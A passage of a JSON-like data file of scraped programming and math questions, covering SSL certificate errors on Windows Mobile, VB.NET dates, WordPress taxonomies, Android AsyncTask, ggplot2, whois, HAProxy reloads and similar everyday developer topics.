remote server\". Ive tried searching for this on Google many times and have not
found a suitable fix.\nWe have also tried to copy (and install) the ROOT and
intermediate certificate in the chain to the device, but this still does not work.\
nWhen we test the new certificate with a PC web browser (IE, Firefox, opera), a
Desktop application that consumes the web service (.net 3.5), and even Internet
explorer on the windows mobile device the .net web service
definitions/documentation page is show without problems (no warnings, or errors),
it seems to only be an issue on the windows mobile device when using a compact
framework (3.5) application is trying to consume the web service.\nWe have
validated that the certificate is installed correctly on the SSL shopper site, and
after our google searches we came across and implemented (as a test) a \"trust
all\" ICertificatePolicy handler, this has resolved the problem, however i was
hoping that this problem could be addressed by configuration/setup change rather
than a code change and a re-deployment of over 150 windows mobile based devices.\
nThe ICertificatePolicy hander did show up the error that was being returned when
trying to validate the certificate: the problem parameter was set to: -2146762481
(0x800B010F in HEX), which i believe is the \"CN No MATCH\" error, however Ive
searched for this in both its numeric, hex and name form and have yet to find a
resolution other than the \"Trust all\" code change.\nAny information that may will
be gratefully received.\nThanks in advance\n", "", "windows mobile frameworks"],
"3955734": ["date not formatting correctly on a date that does not exist", "I have
the following code to convert a date (from a database entry) into the correct
format:\n\nHowever, it keeps telling me this:\nConversion from
string \"02/29/2001\" to type 'Date' is not valid.\nNow i see that 2/29/2001 does
not have a day 29- only 28 for that year. So how would i check for this so it
doesn't throw an error when a date in the database table is not entered correctly?\
n", "Dim blah As Date = \"02/29/2001\"\nMsgBox(Format(blah, \"yyyy-MM-dd\"))\n",
"vb.net validation date format"], "79211": ["Display check marked taxonomies as
drop down menu", "I've built a hierarchical taxonomy that displays a master list of
available fragrances in the admin. When you create a page, you checkmark the
fragrances that are available for that particular post. I used this code to
functions.php and it seems to work in the admin:\n\nNow I need to output the
checkmarked items so they display on the post in the form of a drop down menu.\nThe
problem is that it outputs ALL scents that have been check marked across ALL pages.
I just need it to output the ones that have been check marked on the page you're
on.\nHere's the code I used:\n\nHow to edit this so that it only shows the
fragrances for the page I'm on? Thanks.\n", "add_action( 'init',
'build_taxonomies', 0 );\n\nfunction build_taxonomies() {\nregister_taxonomy(\
n'scents',\n'page',\narray( 'hierarchical' => true,\n'label' => 'Scents',\
n'query_var' => true,\n'rewrite' => true ) );\n}\n", "taxonomy"], "698602": ["Are
string concatenations using + optimized to a StringBuilder implementation
in .NET?", "I've read multiple places that in Java 1.5+ concatenations are
optimized to using a when a program is compiled. It's unclear to me if this is a
standard or just a common optimization many compilers employ. Any clarificion in
regards to this would be appreciated, but mainly it's a lead-in to my second
question.\nDoes .NET similarly optimize? I'm aware that if I use this will
eliminate any ambiguity but I personally find the simplicity of easier to read.
If .NET does, did this start in a specific version? Elaboration is appreciated.\
n", "String", "c# java .net string optimization"], "1546277": ["Strange Java for
loop format", "I've come across a for loop structured in a way I've never seen
before. I'm wondering if you can explain to me what it is doing? It is provided as
one of the examples for verlet integration in
Processing:\nhttp://www.openprocessing.org/sketch/17191\nHere is the code:\n\nIs it
simply adding an 'p' particle until it reaches the amount that has been setup
before?\n", "for(VerletParticle2D p : physics.particles) {\n ellipse(p.x, p.y,
5, 5);\n}\n", "java syntax for-loop processing"], "2366231": ["Custom Tracking Code
Advice/Issue", "I wonder if one of you on here could maybe give me some advice on
the custom tracking code that we have set up for our Google Ads and Email
campaigns.\nBasically we have set up code that generates a tracking url, which we
use to track how many people clicked through on that ad for conversion purposes.\
nAnd then we go into a back-end where we basically check how many \"hits\" we got,
which the tracking code produce for us.\nOur problem is, we don't know how accurate
it is, in terms of conversions.\nIn other words we are not sure how many people
actually clicked through on that ad, obviously counting it as a \"hit\"
automatically via the code, and then went through to successfully completing the
application and get's taken to our Thank You page, which then count as a conversion
for us.\nSo obviously the problem here is, the person could have landed on the
Application page, but then left without completing it, and then the tracking code
would still have counted it as a hit, but that would then mean nothing to us as a
conversion never happened.\nSo how can we maybe modify our code or find a way to
track the site visitor right through to the Thank You page, to accurately track
that as a hit with a conversion?\n", "", "google-analytics tracking web-analytics
marketing"], "5754543": ["finding inverse of $x\\bmod y$", "I am working through a
review problem asking to find the inverse of \n$4\\bmod 9 $.\nThrough examples I
know that I first need to verify that the gcd is equal to 1 and write it as a
linear combination of 4 and 9 to find the inverse. I can do this in just one
step:\n\nThis would suggest that the inverse is 1 if I am understanding this
correctly. However, the solution manual doesn't show the work but says the LC
should actually be\n\nmaking the answer to the question 7.\nCan anyone explain to
me what is going on here and how to properly find the inverse?\nThanks!\nP.S. wish
I could add tags for congruency, gcd, and inverse. I can't believe their isn't an
inverse tag already :(\n", "gcd(4,9)\n9 = 2 * 4 + 1\n1 = 9 - 2 * 4\n", "modular-
arithmetic elementary-number-theory"], "5839372": ["Design or Plugin suggestion for
Wordpress site", "I need to create a WP site which will have multiple subjects.
Each subject will have multiple lessons and each lesson will have meta data like
title, description etc etc. A User will be allowed to read some lessons and based
on number of lessons read, he will be assigned some custom badges.\nWhile showing
any lesson, we should be able to show the list of users who have already read that
lesson.\nTo get this done on WP, I am planning to use some Custom Content Type
Plugin which I can use to create Subject, Lessons and the User Meta to store users
action on any lesson. The Badges can also be made part of Users Meta.\nThe Problem
I see are\n\nI dont know any way to map Subjects to Lessons i.e while creating a
new lesson, I should be able to map it to one subject (like we do node linking in
Drupal )\nI am not use if User meta table can be used to store many to many info
like \"XYZ user have read 25 lessons\" and \"ABC Lesson was read by 10 Users\"\n\
nWhat should be the best design for this kind of Application.\n", "", "wordpress
wordpress-plugin wordpress-theming wordpress-plugin-dev"], "1961043": ["matchMedia
flakey in Firefox?", "I trying to use window.matchMedia to query the browser and
move when the browser screen resizes below a certain threshold. It works great in
Chrome, Safari, and only sometimes in Firefox.\nThat is what I am trying to figure
out. I've test Firefox and it has the object, the object, which itself has the
method. \nHalf of the time the event is fired and it works, the other half it
doesn't work at all..\n\n", "div#move_me_around", "javascript html5 media-
queries"], "3072651": ["simulate virtual constructor in c++", "In my application I
have to derive some classes from a base one, the problem is that I want to enforce
the derived classed to have 3 particular constructor implementation. As c++ don't
have virtual pure constructor, it seemed quite desperate (I had to check manually
each class implementation to ensure that the particular ctors are implemented, not
quite fun to do).\nYesterday I found a crazy way to simulate
the comportment of a virtual ctor:\n\n\n\nthe only inconvenience with this
approach is that I have to to declare all derived class with the syntax:\n\nAnd
even if it's not a problem; because the Enforcer() methode never get called (and
even so it does nothing [hope so!!!])\nMy question is:\n\"is there any mean (not
with macros) to force the derived class to use this mechanism without parametrazing
the AbstractClass (because this will work in only one level of derivation\"\n\n",
"\n\ntemplate <class T>\nclass AbstractEnforcer{\n protected:\n
AbstractEnforcer(){}\n private:\n static void Enforcer(){\n delete new
T();\n delete new T(*(new unsigned int));\n delete new T(*(new unsigned
int, *(new QString));\n }\n }\n\nclass AbstractClass : private
AbstractEnforcer<AbstractClass>{\n\n}\n", "c++ stl constructor virtual derived"],
"863301": ["Prestashop Bug in INR Currency", "I just came to know about one bug in
Prestashop, that when I select the default website currency as INR (Indian Rupee),
then the Prices are shown with comma in place of dot (.).\nHere is the screenshot
http://i.imgur.com/wb8FG.jpg\nI have shown the bug with a red arrow and circle.\
nAnd one more thing, the older price which is crossed is lower than the current
price. but it says Reduced Price.\nHow can I remove this bug?\n", "", "php open-
source shopping-cart prestashop"], "685163": ["Deserialize SOAP message in VB6 -
SoapClient30 MS SOAP Type library", "NET Web Service from VB6. In VB6 I use
SoapClient30 (MS SOAP Type library).\nWeb method has this signature:\n\nIts return
XML in SOAP like this:\n\nFor initialization of SoapClient30 I use WSDL.\nWhen I
call web method on top I got in VB6 this exception:\n\nI think SoapClient30 doesn\
u2019t know deserialize XML response to VB6 code.\nI try save web method result in
Variant.\n\nWhat is need change response fomat of web method or type for store
response in VB6?\nI must use SOAP Type library I can use COM. Thank you for
responses\n", "[WebMethod]\npublic List<List<string>> SomeMethod(string [] args){}\
n", "c# asp.net web-services soap vb6"], "4800131": ["Making a stacked bar plot for
multiple variables - ggplot2 in R", "I have some problems with making a stacked bar
chart in ggplot2. I know how to make one with barplot(), but I wanted to use
ggplot2 because it's very easy to make the bars have the same height (with
'position = 'fill'', if I'm not mistaken). \nMy problem is that I have multiple
variables that I want to plot on top of each other; my data looks like this:\n\
nWhat I want is a plot with categories A, B, and C on the X axis, and for each of
those, the values for V1, V2, V3, and V4 stacked on top of each other on the Y
axis. Most graphs that I have seen plot only one variable on the Y axis, but I'm
sure that one could do this somehow. \nHow could I do this with ggplot2? Thanks!\
n", "dfr <- data.frame(\n V1 = c(0.1, 0.2, 0.3),\n V2 = c(0.2, 0.3, 0.2),\n V3 =
c(0.3, 0.6, 0.5),\n V4 = c(0.5, 0.1, 0.7),\n row.names = LETTERS[1:3]\n)\n", "r
ggplot2"], "4415190": ["How to return the result from the asynctask to an activity
in android?", "I have created a Login activity which uses another class -
LoginService which is an AsyncTask for the network communication. \n\nBefore the
LoginService has finished executing, the activity has already moved to another
activity via the Intent variable. I do not understand why. The idea of the
LoginService is to validate the credentials of the user. If it returns true, then
it can switch to the other activity. \n", " public void onClick(View view) {\n\n
if (editTextPassword.getText().toString() != null &
editTextUsername.getText().toString() != null){\n\n new
LoginService(editTextUsername.getText().toString(),
editTextPassword.getText().toString()).execute();\n\n
if(loginSuccess!=false){\n //Used to move to the Cases Activity\n
Intent casesActivity = new Intent(getApplicationContext(), CasesActivity.class);\n
startActivity(casesActivity);\n }else{\n
Toast.makeText(getApplicationContext(),\"Incorrect Details\",
Toast.LENGTH_LONG).show();\n }\n }\n else{\n
//Display Toaster for error\n
Toast.makeText(getApplicationContext(),\"Please enter your details\",
Toast.LENGTH_LONG).show();\n }\n }\n", "android android-
asynctask"], "5025631": ["How to show all downloads progress in a listview in
android", "I am downloading some files sequentially in Android 2.2, So I want to
show the currently downloading list along with progressbar, for that I have another
activity to show the currently downloading list.It's not a problem to me to show
the list but my problem is I need to show the progress of current downloading file
and after completion of that file it should be deleted from list and show the next
song download and progress.How can I get the each item progressbar to update the
progress? anybody help me.\n", "", "listview progress-bar"], "1511223": ["Add more
than one page owner to a page in SharePoint 2007", "Is it possible to add more than
one page owner to a page in SharePoint 2007. I have a page where 3 people need to
have access to it for updating purposes.\n", "", "2007 access"], "2218536": ["How
do I create and append an image with Javascript/jQuery?", "I'm using the following
code to create an image element, load it, then append it to the article on load.\n\
nThe alert is firing off ok, but the image doesn't appear, and when I inspect the
element it has been added without the closing slash\n\nWhy is the browser removing
the forward slash and how do I stop it?\nUPDATE:\nThanks to everyone who has
pointed out that it's not the slash that's the problem (every day's a school day),
so what could it be then? Here's the live example
http://chris-armstrong.com/inspiration/?username=behoff\nUPDATE 2:\nOk so it
appears I'm a moron for not testing this with other images, as the issue seems to
be with the test image I was using
(http://img.ffffound.com/static-data/assets/6/dc01f803819405bfe160459021cfe6cc57766
f9b_m.jpg). Strange because it loads when you click on the URL... but anyway,
thanks for all your help folks, I learned a few things!\n", "$('<img />')\
n .attr('src', 'image.png') //actually imageData[0].url\
n .load(function(){\n $('article').append( $(this) );\n
alert('image added');\n\n });\n", "javascript jquery append img forward-
slash"], "4109752": ["Forms with responsive layout", "Why does the textfield
doesn't follow the rule? What can I do to fix
it?\nhttp://jsfiddle.net/aurorius/aNRBn/\n\nA quick way to fix it is by changing
to . But how do I fix it while still using the tag?\n", ".span1", "css twitter-
bootstrap responsive-design"], "28409": ["Number of Ones Puzzle", "\nf(n) is a
function counting all the ones that show up in 1, 2, 3, ...,\n n. IE f(1)=1,
f(10)=2, f(11)=4 etc. Discounting the trivial case f(1) = 1, when is the first
time f(n)=n?\n\nI found this on an interview question. I was wondering if there
were any clever ways to think about this mathematically/cleverly other than brute-
forcing the problem.\nThanks\n", "", "puzzle recreational-mathematics"], "5677498":
["Search for single character", "I have several cells in Excel 2007 that contain
long sentences with the letter between words. For example: \n\n\"The product code
is r A23000\"\n\nI tried typing \"r\" in the Find box but the results show not only
single \"r\" but any words / sentences containing \"r\" - e.g. .\nHow can I search
for an isolated , or is there any Excel add-in that could help, or any VBA code to
list the results line-by-line, like the Find box does?\n", "r", "microsoft-excel
microsoft-excel-2007"], "4244398": ["Automapper, mapping IEnumearble<Foo> to
IEnumearble<FooDto>", "I ve been trying to do something like this:\n\nKeep in mind
that Foo is an entity but the properties are exactly the same that FooDto.\nThe
Result of fooDtos is an empty enumerable \nTips?\n", " ...\
nMapper.CreateMap<IEnumerable<Foo>, IEnumerable<FooDto>>();\nvar fooDtos =
Mapper.Map<IEnumerable<Foo>, IEnumerable<FooDto>>(foos);\n", "automapper"],
"58554": ["Super user powers in development environment?", "Is it too much to ask
for when I ask the IT department to give my development team an environment where
we can use whatever software that we can download without having to have security
check those tools?\nOf course, the software can be checked by security before
deploying to Test, and the development environment can be on a VLAN that is not
accessible from outside. This would greatly aid us by allowing us to use whatever
open-source testing tools that we want.\nI'm asking because we have such tight
restrictions on the software approval process, and I hear of other teams that have
an environment where they can configure their local server however they want and
they can use whatever tools they want. What's the norm out there?\nThank you for
any comments!\n", "", "development-environment"], "2179016": ["How to determine
relative angle of collision in Box2d", "I'm trying to determine the angle during
the collision between two box2d bodies in my contact listener (and have failed).\nI
actually just want to establish whether a collision was simply a glancing blow or a
more direct hit - I had hoped to use the relative angle between the two dynamic
object (which could be at any angle of rotation and could be polygon or circle) to
flag the object for action outside the time step. I guess it would be best to
establish the angle at EndContact or PostSolve.\nI'm sure this can't be too hard -
Box2d must determine this.\nAny help greatly appreciated. \n", "", "c++ objective-c
cocos2d-iphone box2d game-physics"], "2431825": ["class << self
idiom in Ruby", "I suppose my question is exactly what the subject depicts, what
does:\n\ndo in Ruby?\n", "class << self\n", "ruby metaclass eigenclass singleton"],
"3557654": ["How can I log the response header and body in apache?", "I need to
determine whether the server (Apache 2) is returning the full contents of a page
along with its correct header or not. I have a PHP-script that is executed
successfully, but the browser is getting only half of the html content, it's simply
cut off. \nThe client infrastructure is pretty complicated, using Novell
BorderManager Proxys and stuff. To ensure the server is doing its job fine I want
to log both header and body of the reponse.\nHow can I achieve this? I looked into
the module of apache (which is already installed and ready to be used), but
honestly I didn't quite manage to configure it to output header and body
somewhere.\nedit: I managed to log the header with\n\nCustomLog
/var/log/apache2/response.log common2\n\nBut unfortunately the mod_log_config
formats don't support the whole content body.\nUpdate: I stumpled accross
mod_dumpio which seems to do exactly that, but I can't get it to work so far :-(\
nCan anyone help?\n", "mod_log_config", "apache2 logging response header"],
"2177177": ["How can I test that multiple booleans have identical values in c#?",
"Is there a shorter way of testing the following:\n\nI ended up writing a method
that lets me do this\n\nThat feels nicer and is a lot more readable, but I'm
wondering if there is something in the framework that does this already?\n", "if (!
((a == b) && (a == c) && (a == d) && (a == e) && (a == f)))\n", "c# coding-style"],
"3501259": ["How to securely allow a custom daemon to restart a proxy?", "I have a
custom daemon which manages a blacklist for my proxy (HAProxy). When the blacklist
is updated I need to reload haproxy so that it has the most recent proxy.
Unfortunately manually reloads of haproxy are not reasonable because the blacklist
could be updated several times a day.\nTo solve this problem I created a script to
reload haproxy but it needs to run as root so it can go through systemctl to be
properly managed. This script is in the daemon user's bin directory. I have also
changed the ownership of the file to another user (root for now) and permissions to
-r-xr-x---. I plan to add the daemon user to the sudoers file with no password
access to this script.\nI want to know is this practice \"secure\" or is there a
better alternative?\n", "", "linux fedora sudo"], "3468564": ["2 legged oauth in a
web app exclusively for it's accompanying iphone app?", "I'm a newbie to iPhone
development, and was wondering what is the standard way to do 2 legged oauth. I've
landed on 2 legged oauth, as this app is basically another interface to my web app
(like a twitter / facebook app for iphone), so after doing a bit of research I
decided that a 2 legged oauth would get the job done for me instead of a 3 legged.\
nI'm not entirely clear about how 2-legged oauth works, but specifically what I'm
not clear about, is how the public/private key is managed per user (per iphone). I
believe that having the same public/private key on each iPhone won't be a good
idea. Ideally shouldn't every iphone have a different private key? If all iPhones
have the same public+private key, then does it not become very easy for anyone to
get hold of these and start making arbitrary requests from anywhere ? Also, how
would I be able to know which user is making these requests ? Is it a good idea to
send some sort of token (just like a cookie with session info) with every request ?
\nIt would be great if someone could shed more light on the current industry
standards, as to how iphone apps get around this.\nThanks a lot..\n", "", "iphone
ruby-on-rails ios rest oauth-2.0"], "707515": ["Google ClientLocation API issue",
"I am using google API to detect client location however it always shows to
me \"Your Location Was Not Detected By Google Loader\".\nI need to find country
code of the client location however it is not working for me.\n\n", " <script
src=\"http://www.google.com/jsapi\" language=\"javascript\"></script>\n <script
language=\"javascript\">\n if (google.loader.ClientLocation != null) {\n
document.write(\"Your Location Is: \" +
google.loader.ClientLocation.address.country_code);\n } else {\n
document.write(\"Your Location Was Not Detected By Google Loader\");\n }\n
</script>\n", "javascript api google"], "3471630": ["Lone developer but lots of
xhtml css jquery work? Should i use any version control system?", "Would it be
useful for single user single PC or would be overkill?\nCan i save time and
increase productivity with any version control system?\nIf answer is yes then which
free version control system would be best for me and how I can save time with
that?\nI work from home and office both. both places I've internet access. I want
to access source from both places.\nUpdate:\nCan i keep my source on any free
hosting? I don't want to keep on MY PC. I need like save and update.\n", "",
"javascript css version-control xhtml"], "5027775": ["Fabricjs - how to clip only
selected object?", "I have tried old and latest 1.1.13 version of fabricjs and none
of them can apply clipTo function on selected object only. If there is only one
object and need to clip it, it's ok but when there are more objects and trying to
clip only selected object, all the other objects are also clipped. The most strange
behavior is that before selecting the other objects, the clip is applied to the
selected object but after other objects are selected and trying to clip it then all
the object that is already clipped are also affected. \nI want to clear the issue
using following steps.\n\nThere are two objects, object1 and object2.\nI selected
object1 and apply clipTo function on it.\nThe object1 is clipped accordingly and
other non-selected object2 is not affected. Upto here it is ok.\nNow I select
object2 and apply clipTo function on it. But at this time the clipTo function also
affects object1 which is not selected.\n\nRemember, I use clipTo function
dynamically, not during object initialization period using following function.\n\
nHow to solve this issue, please help.\n", "var obj = canvas.getActiveObject();\
nvar roundness = dynamicValue; // get using jquery sliders\nif(obj)\n obj.clipTo
= function(ctx) {\n ctx.arc(0, 0, roundness, 0, Math.PI * 2, true);\n
}\ncanvas.renderAll();\n", "html5-canvas clipping fabricjs"], "5936029":
["Implementing Phonegap system notification plugin", "I am trying to implement this
plugin Phonegap system notification.\nI am calling the and methods inside my
Javascript so that when a new RSS feed title comes up I should get a system
notification and an updated counter for each new RSS feed.\n\nRight now I get a
system notification when a new feed is present but\nwhen a second feed comes up the
counter is not increasing it still\nshows 1 on the notification (icon/image).\nI
want the notification methods to run even in the background, which\nI am not able
to test as the counter is not getting updated.\nI am able to clear the system
notification when I click the clear\nbutton . Is it possible to clear it when the
user clicks on the\nsystem notification?\n\nI think I am doing something wrong in
my Javascript.\n\nThis is the :\n\nThis is the :\n\n",
"navigator.systemNotification.onBackground()", "javascript android phonegap"],
"2795245": ["Ordinal and cardinal exponentiation", "\n$|A|^{|B|} = |A^B|$ ?
(cardinal exponentiation)\nLet $\\alpha$ and $\\beta$ be ordinals and $\\gamma$ =
$|\\alpha|^{|\\beta|}$ (Ordinal exponentiation)\nThen is $\\gamma$ an initial
ordinal(thus cardinal) and can the ordinal exponentiation in this case be
understood as a cardinal exponentiation?\n\n", "", "elementary-set-theory"],
"5970098": ["How to run radio stations in your laptop?", "I want to run on-air-
radio channels in my laptop, just like we run MP3 using VLC Media player, Windows
Media Player, or any other.\nIs there any way to do that, what hardware or software
are required \nOr Is there any way with which I can just install a software and
using internet I can listen (tune) radio station in my laptop?\n", "", "laptop
streaming tuner-card radio"], "1436997": ["IOS Storyboard when to use navigation
controllers?", "Hi I'm new IOS and have been using the storyboard feature, I
followed this tutorial which resulted in a working app. I'm slightly confused when
to use a navigation controller. In the tutorial above, every tab had a navigation
controller. Is this necessary? \nI'm in the process of creating a new app and it
seems to work whether I add a navigation controller or not to each tab (see pic). \
n\nI'm just curios what is the correct process?\nThanks.\n", "", "ios5
uinavigationcontroller storyboard"], "2775966": ["Vertex subset of maximum size",
"I was wondering if this problem has a name and/or it has been already studied.\n\
nProblem: Given an undirected graph $G=(V,E)$, a function $f: V \\to \\mathbb N$,
and a natural number $k$\u00a0:\n Does there exist a subset $S\\subseteq V$ with
$|S| \\geqslant k$, such that \n $$ \\forall v \\in V \\,:\\, \\biggl|\\;\\
Bigr(N(v) \\cup \\{v\\}\\Bigr) \\cap S\\;\\biggr| \\;\\leqslant\\; f(v) \\;?$$\n\
nQuestion.\nIs this problem NP-complete? Are there good approximation algorithms?\
n", "", "cc.complexity-theory ds.algorithms graph-theory approximation-algorithms
time-complexity"], "3501258": ["How to whois microsoft.com from command-line?", "If
you 'whois microsoft.com', you get a whole bunch of listings from pranksters who
thought it would be funny to mess with the listings by putting 'microsoft.com' in
their subdomains.\nThe output instructs:\n\nTo single out one record, look it up
with \"xxx\", where xxx is one of the\n of the records displayed above. If the
records
are the same, look them up\n with \"=xxx\" to receive a full display for each
record.\n\nBut this does not work as far as I can tell.\n\nSo how do you do it?\nI
know I can go to a web site to look it up, but that's not the point.\n", "david:~$
whois '\"microsoft.com\"'\nwhois: com\".whois-servers.net: nodename nor servname
provided, or not known\ndavid:~$ whois =microsoft.com\n(...blah, blah, blah...)\n
No match for =MICROSOFT.COM\ndavid:~$ whois '\"=microsoft.com\"'\nwhois:
com\".whois-servers.net: nodename nor servname provided, or not known\n", "dns unix
command-line whois"], "5043066": ["Nice and child processes", "Can someone tell me
what the relationship between a specified level and child processes ?\nfor
example, if I have a default of , and i start a script with , which in turn starts
some child processes (in this case about 20 in parallel), what is the nice of the
child processes ?\nThanks,\n", "nice", "linux process nice"], "3085577":
["Configuring RAID on a VM Host for best performance of multiple Virtual Machines",
"What is the best way to configure disks in a VMWare server that will be hosting
multiple machines? \nA single RAID 5 array hosting multiple VMs would provide good
throughput but means all VMs are accessing the same disks (so one VM accessing the
disk will delay another accessing the disk)\nSkippig RAID and having a single VM
per disk means the disk access will be slower in general (single disk speeds) but
there will never be delays caused by another VM accessing the drives at the same
time.\n", "", "virtual-machines raid"], "1118667": ["How do I get the \"Copy view
area\" for CCRC as a variable in Eclipse?", "When attempting to set up an 'External
Tool' in Eclipse, there are a great deal of variables that deal with project
location, workspace location etc - but not any for reference to the Copy View Area
- i.e. Where your CCRC view starts.\nThis would be very useful for referencing
tools that may be in a VOB external to the Java Project you are working in within a
view.\nDoes anyone have any suggestions as to how I can retrieve the copy view area
as a variable in Eclipse?\nThanks,\nStuart\n", "", "eclipse clearcase ccrc"],
"5796000": ["Concise Lisp code to apply a list of functions all to the same
argument(s) and get a list of the return values?", "Suppose I have a single
element, and I have a list of predicates (functions). I want to apply each of these
predicates to the single element and get a corresponding list of return values. I
know that and friends can apply a single function to each a list of arguments, but
is there any concise syntax to apply many functions to a single argument?\nOf
course I can do \n\nbut it would be nice if there was a function that worked like:\
n\nObviously I can just it, but I wanted to know if there is an accepted method
for doing this.\n", "map", "list functional-programming lisp common-lisp
sequence"], "883880": ["Has any language become greatly popular for something other
than its intended purpose?", "Take this scenario:\n\nA programmer creates a
language to solve some problem.\nHe then releases this language to help others
solve problems like it.\nAnother programmer discovers it's actually much better for
some different category of problems.\nBy virtue of this new application, the
language then becomes popular for that application primarily.\n\nAre there any
instances of this actually occurring?\nPut another way, does the intended purpose
of a language have any bearing on how it's actually used, or whether it becomes
popular? Is it even important that a language have an advertised purpose?\n", "",
"programming-languages history"], "1768301": ["Specify non-compile dependencies in
Maven and package them as resources", "I need to build a jar file that includes
(other, external projects') Maven artefacts.\nThe artefacts are to be included just
like stuff in , without any processing. Even though they happen to be jar files
themselves, they are not compile time dependencies for my code and should not be
added to the classpath, at neither the compile, the test, or the runtime stages.\nI
can get this done by downloading the files and placing them into , but I would
rather have them resolved using the Maven repository.\n", "src/main/resources",
"java maven-2 build-automation"], "912334": ["Emacs: How to keep the indentation
level of a very long wrapped line", "If there are lines in a file that are too long
to be displayed on the screen, we can use word wrap. Now long lines are split into
chunks visible on the screen.\nUsually the code is structured and indenting is used
for readability. If a line is wrapped into two (or more) lines, only the first line
has right indenting and the other lines begin at the beginning of a row. Is there a
way to keep all of the wrapped lines with the same indent level (or more generally
different indent level)?\nI have searched for a long long time, but still couldn't
find a solution. This question is similar to a post for vim, but I didn't find a
post or answer for emacs.\n", "", "emacs indentation word-wrap"], "1428178":
["Measure Code Coverage through Black Box testing in java Web application", "We
have a huge java based application , which is there since few years.We also have a
large set of block box test cases with QA team to carry out regression testing.\
nThere is an initiative being taken in our project to improve the quality of the
application and on the same lines we have to measure the code which is getting
covered by these black box test cases. \nI know that we can have a code coverage
report through code coverage tools like EMMA,Code Cover,Cobertura ,these tools work
along with White Box Unit test cases(i.e JUnit test cases).\nI want to know whether
any of these tools can be used to generate similar code coverage reports when black
box test cases are executed on the application.\nWith regards to this I have done
some google search and found out that the application code can be \"Instrumented\"
and it is possible to generate code coverage reports.\nNow what I am trying to do
is to \n1.Instrument the code in Eclipse using \"Code pro\" eclipse plugin,\n2.Once
the code is instrumented ,will generate the jar file of the instrumented code and
deploy the same on the test Environment (Unix box).\nNow the question is, whether I
am going in right direction?\nHow and where the code coverage reports will be
generated when black box testing is being done on the instrumented code on
server(not local machine).\n", "", "java code-coverage"], "5597199": ["In need for
a formula for calculating an ID to a point in 2d space", "Basicly I am trying to
figure out a formula that calculates a unique identification number for a dot in 2
dimensional space. \nConditions : \nif f(x,y) = c then there is no other X1, Y1 so
that f(X1,Y1) = c \nboth x and y are integers and c must be also an integer (double
may not be suited since its precision is questionable and im not sure if it's
suited to use as a key in hashtable).\n", "", "math 2d formula dot
identification"], "612421": ["How to create a block of vocabulary in drupal 7?",
"I've to create a block in Drupal 7 where I want to show the vocabularies without
their child items.\nHow do I create it?\nAny help will be appreciated.\nBlock
should look like this - \nVocabulary-1\nVocabulary-2\nVocabulary-3\n", "", "drupal
drupal-7 taxonomy"], "4785348": ["How to create an effect higher up in the view
than the logic that determines it?", "I have a simple if statement in my view that
returns x = 0 or 1. Based on this simple result, I want to change the styling of
the div that contains the entire section.\n\nLet's say, if x = 1, I want to make
background-color:rgb(210,215,220);\nHow can I accomplish this? I am not experienced
with Javascript but I'm sure any code required would be very simple. Thank you!\n",
"<div>\n conditional that returns x=1 vs x=0 (and a few displayed items)\n based
on this loop, restyle the div\n</div>\n", "javascript ruby-on-rails loops
conditional"], "2425483": ["SQL Service and Duplicate Service Principal Names",
"When I run on my SQL Server box I get a bunch of entries but all are similar and
resemble this --> \nThis is concerning as they all have me as the second which I
don't understand. All except for one that is. This one is my biggest concern -->\
n\nThat one is our Production SQL Box. Now I checked the MSSQLSERVER service's Log
On As and it's set to the Services account. What I am wondering are the
following:\n\nHow concerned should I be that these have happened, particularly the
SQL Box one\nHow does this tend to happen in the first place\nHow do I safely
remove the unused one(I see the section in my link below but I am hoping for more
info)\n\nI was led down this path by having the following Error in my Domain
Controllers Event Log --> Event ID 11
(http://technet.microsoft.com/en-us/library/39b7428a-2b45-4640-9bd7-
46833007d38d.aspx)\nSomething else that confuses me about this is that when I do a
it returns \nthis-->\n\nWhat in that list is the duplicate? \nThanks for any and
all information.\n", "setspn.exe -X", "sql-server active-directory spn"],
"3441980": ["Compiling Wanderlust for Windows and use it for Gmail", "I'm trying to
get Wanderlust working in Windows to connect to Gmail. Compiling the code is much
more painful than expected. Here are the barriers so far:\n\nCan't download
dependent packages: SEMI, APEL, and FLIM. I eventually found newer versions, but
I'm not sure they will work. Anyone have the older versions?\nNeeds make and
install. I used MSYS and it seems to have compiled okay.\nSSL support. I was
getting a \"Cannot open load file: ssl\" error. I found an ssl.el that comes with
w3. So installed w3.\nBash command in ssl.el: ssl-get-command is running
something from /bin/sh (not a directory I have in Windows). I really don't want to
refactor
this code. Is there a better way?\n\nOthers speak very highly of Wanderlust, so I
want to give it a try. I feel like I'm almost there, but am pretty much worn out
with all the crazy configuration I have to do. Does anyone have this working on
Windows? I'm pretty sure it will work with Gmail, because of this post. But will
it work in Windows too? If you have a few pointers, please help.\n", "", "windows
email emacs elisp"], "4149781": ["how to use grep for specific files?", "for
example I type\n\nso it will show files for 23 Dec only and I want to use grep for
them, like\n\nbut this doesn't work)\nHow to do that?\n", "ls -altr | grep \"23
Dec\"\n", "bash grep ls"], "2416815": ["How to configure and deploy Ruby on Rails
Application on server using apache, heroku or Phusion Passenger dont know about
such terms", "I am new to Ruby on Rails. I have been working as junior developer
and most of time working on localhost so don't know how to launch Ruby on rails
application, How to Configure Ruby on rails application and how to deploy it.\
noften I came accross following terms but don't know It's meaning and how to use
them and where to use them.\nApache \nPhusion Passenger \nHeroku \nnginx\nPlease
Help me and also looking forward to any good tutorial to learn all that terms.\
nThanks.\n", "", "ruby-on-rails apache heroku nginx phusion-passenger"], "3079541":
["Clarifications when using git to go back a few commits", "Can anyone clarify some
things things for me. If I go back a previous commit using\n\n\nRunning shows .
What does this mean?\nIf I edit a file then commit. Will it create a new branch or
will it simply update the entire branch so when I go back to the current commit the
file will also be updated?\nRelated to #2, is the purpose of checking out a
previous commit so you can make a branch out of it or something more? I'm guessing
something more but I can't see it since my project isn't all that complex.\n\n",
"git checkout HASH\n", "git commit checkout"], "5073572": ["CakePHP load different
layout/data depending on domain?", "I need to run 2 sites, One for high end
customers and one for low end customers. \nThey both pretty much do the same thing
but look different. For example they both might have product A, but the price and
description (no duplicate content) will be different.\nHowever, for the most part,
they will have different products, high end products for the high end site and low
end products for the low end site.\nIt is easier if both sites use the same
underlying structure, so the many overlapping parts won't have to be duplicated.
Especially during changes. But it needs to allow for different logic per site when
necessary.\nSo if I point 2 different domains (lets call them highend.com and
lowend.com) to the same server. What is the best way to handle this?\nShould/Can I
determine what domain is being used in the app_controller and specify which layout
to use or set a variable to be used by the child controllers? How?\nIs there a way
